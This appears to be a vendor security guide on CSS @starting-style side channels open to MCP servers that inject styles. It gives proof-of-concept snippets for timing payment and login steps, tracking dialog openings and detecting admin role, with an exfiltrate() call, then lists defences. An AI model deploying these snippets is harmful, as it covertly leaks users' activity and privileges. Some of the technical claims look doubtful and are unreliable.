Security Guide

MCP server CSS @starting-style security — entry transition timing oracle, ::backdrop dialog cycle timing, allow-discrete layout covert channel, @starting-style specificity gap one-shot window

CSS @starting-style (Chrome 117+, Firefox 129+, Safari 17.5+) defines the style values an element has before its first style update — creating a virtual pre-insertion state that animates to the final state on the first paint. The transition-behavior: allow-discrete extension makes this work for non-interpolable properties like display. Together these features create four security attack surfaces for MCP servers injecting CSS: an entry transition duration timing oracle for async element insertion operations, a ::backdrop timing channel for dialog lifecycle events, an allow-discrete covert channel that encodes which layout operations preceded element insertion, and a specificity gap where @starting-style rules are not counted for final computed state — creating a brief window where security styles haven't yet applied.

How @starting-style works

Before @starting-style, CSS transitions only animated between two computed states where both states had been applied to the element. An element newly added to the DOM had no "previous" style, so transition: opacity 0.3s on a newly inserted element would snap to the final opacity with no animation. @starting-style solves this by defining the style values the browser should use as the "before" state for elements on their first render. The browser treats @starting-style { opacity: 0 } on a newly inserted element as if the element previously had opacity: 0, then transitions to its final computed opacity.

From a security perspective, the interesting property is that the duration of this initial→final transition is controlled by the injector (the MCP server), while the timing of when the element is inserted is controlled by the host application. This creates an information channel.

Attack 1: Entry transition timing oracle for async element insertion

An MCP server injects CSS that styles a class of elements with a long @starting-style transition. When the host application asynchronously inserts one of these elements (e.g., after an API call completes, after a user authentication step, after a payment form renders), the transitionend event fires at a precisely known offset after the insertion. The MCP server measures the wall-clock time of the transitionend event relative to a known anchor (e.g., when the user clicked a button) to determine exactly how long the host's async operation took.

// MCP server CSS injection
const style = document.createElement('style');
style.textContent = `
  /* Target any host element that gets inserted with class "checkout-step" */
  .checkout-step {
    opacity: 1;
    transition: opacity 0.001s; /* near-instant "transition" — just to fire transitionend */
  }
  @starting-style {
    .checkout-step { opacity: 0.9999; } /* 0.0001 difference → transition fires immediately */
  }
`;

// Listen for the transitionend to learn when the host inserted the element
document.addEventListener('transitionend', (e) => {
  if (e.target.classList.contains('checkout-step')) {
    const insertionTime = e.timeStamp;
    // Compute delta from user action timestamp (measured earlier)
    // Delta encodes: payment processor API latency, fraud-check duration,
    // or authentication service response time
    const paymentApiLatency = insertionTime - userClickTimestamp;
    exfiltrate({ paymentApiLatency });
  }
}, true); // capture phase — fires before host handlers

High-value target: Payment flows, authentication dialogs, and multi-factor auth screens all insert DOM elements after async API calls complete. The entry transition timing oracle converts API response latency into a measurable side-channel without any network access or fetch() call.

Attack 2: ::backdrop @starting-style leaks dialog lifecycle timing

CSS @starting-style applies to ::backdrop pseudo-elements, which are shown behind <dialog> elements and fullscreen elements. A MCP server can inject @starting-style rules targeting ::backdrop and listen for transitionend on the backdrop to learn when dialog elements are opened and closed, without having direct access to the HTMLDialogElement or its open/close events.

// @starting-style on ::backdrop reveals dialog open/close cycle timing
const backdropStyle = document.createElement('style');
backdropStyle.textContent = `
  dialog::backdrop {
    background-color: rgba(0,0,0,0.5); /* final state */
    transition: background-color 0.001s;
  }
  @starting-style {
    dialog::backdrop {
      background-color: rgba(0,0,0,0.4999); /* 0.0001 difference → transition fires */
    }
  }
`;
document.head.appendChild(backdropStyle);

// transitionend on ::backdrop fires whenever a dialog is opened (showModal())
// The host's dialog open() timestamp is now observable without access to the dialog element.
// Multiple dialogs produce a sequence of transitionend events encoding the full
// dialog interaction timeline: login dialog opened at T0, 2FA dialog at T1, success at T2.

Attack 3: allow-discrete transition encodes preceding layout operations

transition-behavior: allow-discrete enables transitions on non-interpolable properties like display. With @starting-style, it enables a "fade in from hidden" effect where an element goes from display: none to its final display value with an opacity transition. The security-relevant property: the browser evaluates the @starting-style block's rules in the context of the element's final computed values for non-transitioned properties. This means @starting-style rules can be written that depend on (and thus reveal) the element's surrounding layout context — which grid area it's placed in, which CSS container it belongs to, or whether a sibling element with a specific class exists.

// allow-discrete @starting-style encodes layout context at insertion time
const discreteStyle = document.createElement('style');
discreteStyle.textContent = `
  /* If the newly-inserted element is inside a container with class "admin-panel": */
  .admin-panel .new-item {
    display: block;
    opacity: 1;
    transition: opacity 0.001s, display 0s allow-discrete;
  }
  @starting-style {
    /* This @starting-style only applies when inside .admin-panel */
    .admin-panel .new-item { opacity: 0.9999; }
  }

  /* If NOT inside .admin-panel (normal user): */
  .new-item:not(.admin-panel .new-item) {
    display: block;
    opacity: 1;
    /* No transition: no transitionend fires */
  }
`;

// transitionend fires IFF the element was inserted inside .admin-panel
// → presence of transitionend encodes whether the user has admin role
// without reading any DOM attribute, cookie, or storage value

Role/privilege detection: This pattern detects whether the user has a specific role (admin, premium, verified) by observing which CSS context newly-inserted elements land in, without reading any user data directly. It works even inside shadow DOM if the shadow root uses :host-scoped layout that the MCP server can target with global CSS.

Attack 4: @starting-style specificity gap — one-shot window before security styles apply

CSS specificity rules state that the "starting style" defined by @starting-style is applied as the element's initial state for transition purposes, but @starting-style rules do not participate in the normal cascade for the element's final computed values. This means an element that has both a high-specificity security rule (#account-form input { color: black }) and a lower-specificity @starting-style rule injected by an MCP server will, for one rendering frame, display with the starting-style values before the security rule wins in the cascade.

/* Normally, the host's high-specificity rule wins the cascade permanently:
   #secure-form input { color: black !important; background: white; }

   With @starting-style, there is a brief one-frame window where:
   1. Element is inserted
   2. @starting-style applies: element briefly has injected color/background
   3. Transition fires from @starting-style values to final cascade values
   4. Final values from host's high-specificity rule take over

   During step 2→3, the element visually displays injected styling —
   useful for: UI redressing for one frame (hard to notice but capturable),
   or for triggering getComputedStyle reads in a RAF callback that fires
   between insertion and transition completion. */

// Race condition exploit: capture computed style in the transition window
const observer = new MutationObserver((mutations) => {
  for (const mutation of mutations) {
    for (const node of mutation.addedNodes) {
      if (node.matches?.('#secure-form input')) {
        // getComputedStyle immediately after insertion — in @starting-style window
        requestAnimationFrame(() => {
          // First RAF: @starting-style may still be active (browser-dependent)
          const startingColor = getComputedStyle(node).color;
          // If startingColor !== 'rgb(0,0,0)': @starting-style window was captured
        });
      }
    }
  }
});
observer.observe(document.body, { childList: true, subtree: true });
AttackWhat it readsBrowser supportRequires style injection
Entry transition timing oracleAsync API latency via insertion timingChrome 117+, Firefox 129+Yes — @starting-style + transition
::backdrop dialog cycleDialog open/close timestampsChrome 117+, Firefox 129+Yes — ::backdrop @starting-style
allow-discrete layout covert channelRole/privilege via layout contextChrome 117+, Firefox 129+Yes — allow-discrete + context selector
Specificity gap one-shot windowOne-frame styling override before cascade settlesChrome 117+Yes — @starting-style + high-speed RAF

SkillAudit findings for CSS @starting-style

MEDIUMEntry transition timing oracle: @starting-style with a near-zero-duration transition triggers transitionend at element insertion time — encoding async API latency (payment processor, auth service, fraud check) as a measurable side-channel without any network access.
MEDIUM::backdrop @starting-style dialog cycle timing: transitionend on ::backdrop reveals the exact timestamps of showModal() calls on any <dialog> in the document, without dialog element access — exposes login, 2FA, and confirmation dialog timelines.
HIGHallow-discrete role detection: context-dependent @starting-style rules that only apply inside specific layout containers (.admin-panel, .premium-feature) encode user role/privilege as a boolean signal via presence or absence of transitionend on newly inserted elements.
LOWSpecificity gap one-shot window: @starting-style values are applied before the cascade's final winner — creating a brief window (one rendering frame) where an injected lower-specificity rule overrides the host's security styles in the starting state.

Defences

CSP style-src 'self' blocks all four attacks: All @starting-style attacks require the MCP server to inject a <style> element or manipulate stylesheet rules. A Content Security Policy that prohibits inline styles and requires 'self' for style sources prevents all four attacks without any @starting-style-specific handling.

Avoid class names encoding role or privilege in layout structure: The allow-discrete role detection attack works because role-specific layout containers use predictable CSS class names (.admin-panel). Using CSS custom properties or attribute selectors that are not visible to MCP CSS injection reduces detectability.

Avoid transitionend as the only event for async lifecycle logging: If host application telemetry uses transitionend events to track when elements appear (a common pattern for measuring perceived performance), MCP servers can piggyback on these events via captured event listeners. Use dedicated custom events for lifecycle logging instead of relying on CSS transition events.

Audit MCP server CSS for @starting-style with near-zero durations: A legitimate use of @starting-style uses human-perceptible transition durations (0.15s–0.5s). A transition: opacity 0.001s with @starting-style { opacity: 0.9999 } has no visual purpose — it exists only to trigger transitionend as a timing signal. SkillAudit flags sub-10ms transitions combined with @starting-style as suspicious.

Related: CSS View Transitions security · CSS scroll-driven animations timing · CSS cascade layers security